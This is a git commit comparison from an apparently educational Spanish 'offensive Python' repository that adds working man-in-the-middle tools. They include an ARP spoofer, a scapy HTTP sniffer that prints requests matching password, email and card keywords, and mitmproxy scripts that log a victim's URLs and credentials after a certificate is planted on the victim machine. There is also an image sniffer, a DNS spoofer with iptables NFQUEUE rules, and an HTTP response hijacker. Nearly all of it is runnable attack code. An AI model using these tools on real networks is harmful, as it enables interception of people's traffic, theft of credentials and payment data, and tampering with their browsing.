Compare commits
8 Commits
4847e32f04
...
2de0131f95
Author | SHA1 | Date | |
---|---|---|---|
2de0131f95 | |||
f7043ed2ae | |||
d828243927 | |||
04be4f610d | |||
ace46c757a | |||
4abbfdf261 | |||
92ed9c3beb | |||
c86c4f8b21 |
4
.gitignore
vendored
4
.gitignore
vendored
@ -173,3 +173,7 @@ cython_debug/
|
|||||||
*.key
|
*.key
|
||||||
*.csr
|
*.csr
|
||||||
|
|
||||||
|
|
||||||
|
# Ignore binary files of mitmproxy
|
||||||
|
|
||||||
|
mitmproxy/
|
||||||
|
@ -52,6 +52,8 @@ def main():
|
|||||||
|
|
||||||
arguments = get_arguments()
|
arguments = get_arguments()
|
||||||
|
|
||||||
|
print("\n[+] Iniciando ARP spoofing...")
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
spoof(arguments.ip_address, "192.168.1.1") # Mensaje al target
|
spoof(arguments.ip_address, "192.168.1.1") # Mensaje al target
|
||||||
spoof("192.168.1.1", arguments.ip_address) # Mensaje al router
|
spoof("192.168.1.1", arguments.ip_address) # Mensaje al router
|
@ -52,7 +52,7 @@ def process_sniffed_packet(packet):
|
|||||||
|
|
||||||
def sniff(interface):
|
def sniff(interface):
|
||||||
"""
|
"""
|
||||||
|
Sniffing de paquetes
|
||||||
"""
|
"""
|
||||||
|
|
||||||
print("\n[+] Interceptando paquetes de la máquina victima: \n")
|
print("\n[+] Interceptando paquetes de la máquina victima: \n")
|
105
python-ofensivo/15_hacking/03_http_sniffer_scapy.py
Normal file
105
python-ofensivo/15_hacking/03_http_sniffer_scapy.py
Normal file
@ -0,0 +1,105 @@
|
|||||||
|
# /usr/bin/env python3
|
||||||
|
"""
|
||||||
|
HTTP sniffer
|
||||||
|
|
||||||
|
Práctica con testphp.vulnweb.com
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import signal
|
||||||
|
import scapy.all as scapy
|
||||||
|
from scapy.layers import http
|
||||||
|
|
||||||
|
|
||||||
|
def def_handler(sig, frame):
|
||||||
|
|
||||||
|
print("\n\n[!] Saliendo del programa...\n")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, def_handler)
|
||||||
|
|
||||||
|
|
||||||
|
def get_arguments():
|
||||||
|
"""
|
||||||
|
Obtiene los argumentos de la línea de comandos
|
||||||
|
"""
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="DNS sniffer")
|
||||||
|
parser.add_argument(
|
||||||
|
"-i", "--interface",
|
||||||
|
required=True, dest="interface",
|
||||||
|
help="Interfaz de red a utilizar"
|
||||||
|
)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
return args
|
||||||
|
|
||||||
|
|
||||||
|
def process_sniffed_packet(packet):
|
||||||
|
"""
|
||||||
|
Procesa el paquete sniffado
|
||||||
|
"""
|
||||||
|
|
||||||
|
cred_keywords = [
|
||||||
|
"username", "user", "uname", "urname", "user_name", "usern"
|
||||||
|
"login", "password", "pass",
|
||||||
|
"mail", "email", "correo",
|
||||||
|
"phone", "telephone", "tel", "cellphone", "cell", "cel", "movil",
|
||||||
|
"credit", "card", "cc", "tarjeta", "credito", "debito", "debit", "ucc"
|
||||||
|
"address", "direccion", "dir", "street", "calle", "avenue", "av",
|
||||||
|
"location", "city", "country"]
|
||||||
|
|
||||||
|
if packet.haslayer(http.HTTPRequest):
|
||||||
|
|
||||||
|
url = "http://" + \
|
||||||
|
packet[http.HTTPRequest].Host.decode() + \
|
||||||
|
packet[http.HTTPRequest].Path.decode()
|
||||||
|
|
||||||
|
print(f"[+] URL visitada: {url}")
|
||||||
|
|
||||||
|
if packet.haslayer(scapy.Raw):
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
response = packet[scapy.Raw].load.decode()
|
||||||
|
|
||||||
|
for keyword in cred_keywords:
|
||||||
|
|
||||||
|
if keyword in response:
|
||||||
|
|
||||||
|
print(f"[+] Información comprometida: {response}")
|
||||||
|
break
|
||||||
|
|
||||||
|
except:
|
||||||
|
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def sniff(interface):
|
||||||
|
"""
|
||||||
|
Sniffing de paquetes
|
||||||
|
"""
|
||||||
|
|
||||||
|
print("\n[+] Interceptando paquetes de la máquina victima: \n")
|
||||||
|
|
||||||
|
scapy.sniff(
|
||||||
|
iface=interface, store=False,
|
||||||
|
prn=process_sniffed_packet
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""
|
||||||
|
Función principal
|
||||||
|
"""
|
||||||
|
|
||||||
|
arguments = get_arguments()
|
||||||
|
|
||||||
|
sniff(arguments.interface)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
main()
|
28
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_01.py
Normal file
28
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_01.py
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
# /usr/bin/env python3
|
||||||
|
"""
|
||||||
|
HTTPS sniffer - MITM Proxy
|
||||||
|
|
||||||
|
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
|
||||||
|
2. Ejecutar binario mitmweb o mitmproxy.
|
||||||
|
3. Configurar el proxy en la máquina víctima. (IP:8080)
|
||||||
|
4. Comprobar en la url mitm.it desde la máquina de la victima que
|
||||||
|
ya puedes descargar el certificado
|
||||||
|
5. Instalar el certificado en la máquina de la víctima
|
||||||
|
6. Observar el tráfico en la máquina del atacante
|
||||||
|
7. Ejecutar el script con el binario mitmdump con la opción -s para
|
||||||
|
indicar el script a ejecutar y personalizar la recogida de información
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
from mitmproxy import http
|
||||||
|
from mitmproxy import ctx
|
||||||
|
|
||||||
|
|
||||||
|
def request(packet):
|
||||||
|
|
||||||
|
ctx.log.info(f"\n\n[+] URL: {packet.request.url}\n\n")
|
||||||
|
|
||||||
|
|
||||||
|
def response(packet):
|
||||||
|
|
||||||
|
ctx.log.info(f"\n\n[+] Response: {packet.request.url}\n\n")
|
60
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_02.py
Normal file
60
python-ofensivo/15_hacking/04_https_sniffer_mitmdump_02.py
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
# /usr/bin/env python3
|
||||||
|
"""
|
||||||
|
HTTPS sniffer - MITM Proxy
|
||||||
|
|
||||||
|
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
|
||||||
|
2. Ejecutar binario mitmweb o mitmproxy.
|
||||||
|
3. Configurar el proxy en la máquina víctima. (IP:8080)
|
||||||
|
4. Comprobar en la url mitm.it desde la máquina de la victima que
|
||||||
|
ya puedes descargar el certificado
|
||||||
|
5. Instalar el certificado en la máquina de la víctima
|
||||||
|
6. Observar el tráfico en la máquina del atacante
|
||||||
|
7. Ejecutar el script con el binario mitmdump con la opción -s para
|
||||||
|
indicar el script a ejecutar y personalizar la recogida de información
|
||||||
|
|
||||||
|
También se puede lanzar desde docker: https://hub.docker.com/r/mitmproxy/mitmproxy/
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
from mitmproxy import http
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
def has_keywords(data, keywords):
|
||||||
|
"""
|
||||||
|
Esta función comprueba si en la petición se encuentran las palabras
|
||||||
|
clave que nos interesan
|
||||||
|
"""
|
||||||
|
|
||||||
|
return any(keyword in data for keyword in keywords)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def request(packet):
|
||||||
|
"""
|
||||||
|
Esta función se ejecuta cada vez que se realiza una petición
|
||||||
|
"""
|
||||||
|
|
||||||
|
url = packet.request.url
|
||||||
|
|
||||||
|
parsed_url = urlparse(url)
|
||||||
|
|
||||||
|
scheme = parsed_url.scheme
|
||||||
|
|
||||||
|
domain = parsed_url.netloc
|
||||||
|
|
||||||
|
path = parsed_url.path
|
||||||
|
|
||||||
|
print(f"\n\nURL visitada por la víctima: {scheme}://{domain}{path}")
|
||||||
|
|
||||||
|
keywords = [
|
||||||
|
"login", "signin", "logon",
|
||||||
|
"password", "pass", "passwd",
|
||||||
|
"user", "username"
|
||||||
|
]
|
||||||
|
|
||||||
|
data = packet.request.get_text()
|
||||||
|
|
||||||
|
if has_keywords(data, keywords):
|
||||||
|
|
||||||
|
print(f"\n\nPosible credencial:\n\n{data}\n\n")
|
38
python-ofensivo/15_hacking/05_images_sniffer.py
Normal file
38
python-ofensivo/15_hacking/05_images_sniffer.py
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
#/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Images sniffer
|
||||||
|
"""
|
||||||
|
|
||||||
|
from mitmproxy import http
|
||||||
|
from mitmproxy import ctx
|
||||||
|
|
||||||
|
def response(flow):
|
||||||
|
"""
|
||||||
|
Sniff images
|
||||||
|
"""
|
||||||
|
|
||||||
|
content_type = flow.response.headers.get("Content-Type", "No Content-Type")
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
if "image" in content_type:
|
||||||
|
|
||||||
|
url = flow.request.url
|
||||||
|
|
||||||
|
ext = content_type.split("/")[-1]
|
||||||
|
|
||||||
|
if ext == "jpeg":
|
||||||
|
ext = "jpg"
|
||||||
|
|
||||||
|
file_name = f"img/{url.replace('/', '_')}.{ext}"
|
||||||
|
|
||||||
|
image_data = flow.response.content
|
||||||
|
|
||||||
|
with open(file_name, "wb") as f:
|
||||||
|
|
||||||
|
f.write(image_data)
|
||||||
|
|
||||||
|
print(f"\n[+]Imagen guardada: {file_name}\n")
|
||||||
|
|
||||||
|
except:
|
||||||
|
pass
|
27
python-ofensivo/15_hacking/06_intercept.py
Normal file
27
python-ofensivo/15_hacking/06_intercept.py
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import scapy.all as scapy
|
||||||
|
|
||||||
|
|
||||||
|
def process_packet(packet):
|
||||||
|
"""
|
||||||
|
Procesa los paquetes que llegan a la cola 0
|
||||||
|
"""
|
||||||
|
|
||||||
|
if packet.haslayer(scapy.DNSRR):
|
||||||
|
|
||||||
|
qname = packet[scapy.DNSQR].qname
|
||||||
|
|
||||||
|
# print(qname)
|
||||||
|
|
||||||
|
if "hack4u.io" in qname.decode() or "vergaracarmona.es" in qname.decode():
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"\n------------------\n{packet.show()}\n------------------\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
scapy.sniff(
|
||||||
|
iface="wlo1", filter="udp and port 53",
|
||||||
|
store=False, prn=process_packet
|
||||||
|
)
|
88
python-ofensivo/15_hacking/07_dns_spoofer.py
Normal file
88
python-ofensivo/15_hacking/07_dns_spoofer.py
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
# /usr/bin/env python3
|
||||||
|
"""
|
||||||
|
DNS Spoofer
|
||||||
|
|
||||||
|
Se necesita instalar netfilterqueue:
|
||||||
|
pip3 install netfilterqueue
|
||||||
|
|
||||||
|
Para que funcione hay que redirigir el tráfico a la cola 0:
|
||||||
|
iptables -I INPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -I OUTPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -I FORWARD -j NFQUEUE --queue-num 0
|
||||||
|
iptables --policy FORWARD ACCEPT
|
||||||
|
|
||||||
|
Con esto no puedes navegar porque los paquetes están a la espera
|
||||||
|
de ser procesados por netfilterqueue.
|
||||||
|
|
||||||
|
Para eliminar las anteriores reglas:
|
||||||
|
iptables -D INPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -D OUTPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -D FORWARD -j NFQUEUE --queue-num 0
|
||||||
|
iptables --policy FORWARD ACCEPT
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
import netfilterqueue
|
||||||
|
import scapy.all as scapy
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
def def_handler(sig, frame):
|
||||||
|
|
||||||
|
print('\n[!] Saliendo...\n')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, def_handler)
|
||||||
|
|
||||||
|
|
||||||
|
def process_packet(packet):
|
||||||
|
"""
|
||||||
|
Procesa los paquetes que llegan a la cola 0
|
||||||
|
"""
|
||||||
|
|
||||||
|
# El paquete en bruto lo tratamos como un paquete scapy para poder manipularlo
|
||||||
|
scapy_packet = scapy.IP(packet.get_payload())
|
||||||
|
|
||||||
|
# Filtramos los paquetes DNS por el puerto 53 y que tengan una capa DNSRR
|
||||||
|
if scapy_packet.haslayer(scapy.DNSRR):
|
||||||
|
|
||||||
|
# Obtenemos el nombre del dominio
|
||||||
|
qname = scapy_packet[scapy.DNSQR].qname
|
||||||
|
|
||||||
|
# Si el dominio es hack4u.io
|
||||||
|
if b"hack4u.io" in qname:
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"\n[+] Envenenando los dominios hack4u.io ...\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Creamos un paquete DNSRR con el nombre del dominio
|
||||||
|
# y la IP a la que queremos redirigir
|
||||||
|
answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.115")
|
||||||
|
|
||||||
|
# Modificamos el paquete DNS original con la respuesta que queremos
|
||||||
|
scapy_packet[scapy.DNS].an = answer
|
||||||
|
# Ponemos el número de respuestas a 1
|
||||||
|
# (En este caso tenía 3 originalmente)
|
||||||
|
scapy_packet[scapy.DNS].ancount = 1
|
||||||
|
|
||||||
|
# Eliminamos los campos de longitud y checksum
|
||||||
|
# para que scapy los recalcule
|
||||||
|
del scapy_packet[scapy.IP].len
|
||||||
|
del scapy_packet[scapy.IP].chksum
|
||||||
|
del scapy_packet[scapy.UDP].len
|
||||||
|
del scapy_packet[scapy.UDP].chksum
|
||||||
|
|
||||||
|
packet.set_payload(scapy_packet.build())
|
||||||
|
|
||||||
|
packet.accept()
|
||||||
|
|
||||||
|
print(f"[+] Iniciando el envenenamiento de DNS ...")
|
||||||
|
|
||||||
|
queue = netfilterqueue.NetfilterQueue()
|
||||||
|
|
||||||
|
queue.bind(0, process_packet)
|
||||||
|
|
||||||
|
queue.run()
|
112
python-ofensivo/15_hacking/08_traffic_hijacking.py
Normal file
112
python-ofensivo/15_hacking/08_traffic_hijacking.py
Normal file
@ -0,0 +1,112 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Traffic Hijacking
|
||||||
|
|
||||||
|
Vamos a injectar código en la web testphp.vulnweb.com para que cuando se haga
|
||||||
|
una petición a la web desde la máquina victima, se redirija a nuestra web.
|
||||||
|
|
||||||
|
Para que funcione hay que redirigir el tráfico a la cola 0:
|
||||||
|
iptables -I INPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -I OUTPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -I FORWARD -j NFQUEUE --queue-num 0
|
||||||
|
iptables --policy FORWARD ACCEPT
|
||||||
|
|
||||||
|
Con esto no puedes navegar porque los paquetes están a la espera
|
||||||
|
de ser procesados por netfilterqueue.
|
||||||
|
|
||||||
|
Para eliminar las anteriores reglas:
|
||||||
|
iptables -D INPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -D OUTPUT -j NFQUEUE --queue-num 0
|
||||||
|
iptables -D FORWARD -j NFQUEUE --queue-num 0
|
||||||
|
iptables --policy FORWARD ACCEPT
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
import netfilterqueue
|
||||||
|
import re
|
||||||
|
import scapy.all as scapy
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
def def_handler(sig, frame):
|
||||||
|
"""
|
||||||
|
Ctrl + C
|
||||||
|
"""
|
||||||
|
|
||||||
|
print('\n[!] Saliendo...\n')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, def_handler)
|
||||||
|
|
||||||
|
|
||||||
|
def set_load(packet, load):
|
||||||
|
"""
|
||||||
|
Modifica el campo load del paquete
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Modificamos el campo load del paquete
|
||||||
|
packet[scapy.Raw].load = load
|
||||||
|
|
||||||
|
# Eliminamos los campos de la capa IP y TCP para que se recalcule el checksum
|
||||||
|
del packet[scapy.IP].len
|
||||||
|
del packet[scapy.IP].chksum
|
||||||
|
del packet[scapy.TCP].chksum
|
||||||
|
|
||||||
|
return packet
|
||||||
|
|
||||||
|
|
||||||
|
def process_packet(packet):
|
||||||
|
"""
|
||||||
|
Procesa los paquetes que llegan a la cola 0
|
||||||
|
"""
|
||||||
|
|
||||||
|
scapy_packet = scapy.IP(packet.get_payload())
|
||||||
|
|
||||||
|
if scapy_packet.haslayer(scapy.Raw):
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
if scapy_packet[scapy.TCP].dport == 80:
|
||||||
|
|
||||||
|
print("Modificada petición HTTP")
|
||||||
|
|
||||||
|
# Eliminamos la cabecera Accept-Encoding para que no comprima
|
||||||
|
# el contenido
|
||||||
|
modified_load = re.sub(
|
||||||
|
b"Accept-Encoding:.*?\\r\\n", b"", scapy_packet[scapy.Raw].load
|
||||||
|
)
|
||||||
|
|
||||||
|
# Eliminamos la cabecera HTTP/1.1 para que no se queje
|
||||||
|
new_packet = set_load(scapy_packet, modified_load)
|
||||||
|
|
||||||
|
# Inyectamos código en la petición
|
||||||
|
packet.set_payload(new_packet.build())
|
||||||
|
|
||||||
|
elif scapy_packet[scapy.TCP].sport == 80:
|
||||||
|
|
||||||
|
print("Modificada respuesta HTTP")
|
||||||
|
|
||||||
|
# Inyectamos código HTML en la respuesta
|
||||||
|
modified_load = scapy_packet[scapy.Raw].load.replace(
|
||||||
|
b"welcome to our page", b"Welcome to the hacked page ;)"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Enviamos el paguete modificado
|
||||||
|
new_packet = set_load(scapy_packet, modified_load)
|
||||||
|
|
||||||
|
packet.set_payload(new_packet.build())
|
||||||
|
|
||||||
|
except:
|
||||||
|
|
||||||
|
pass
|
||||||
|
|
||||||
|
packet.accept()
|
||||||
|
|
||||||
|
|
||||||
|
print(f"[+] Iniciando traffic hijacking ...")
|
||||||
|
|
||||||
|
queue = netfilterqueue.NetfilterQueue()
|
||||||
|
queue.bind(0, process_packet)
|
||||||
|
queue.run()
|
Loading…
Reference in New Issue
Block a user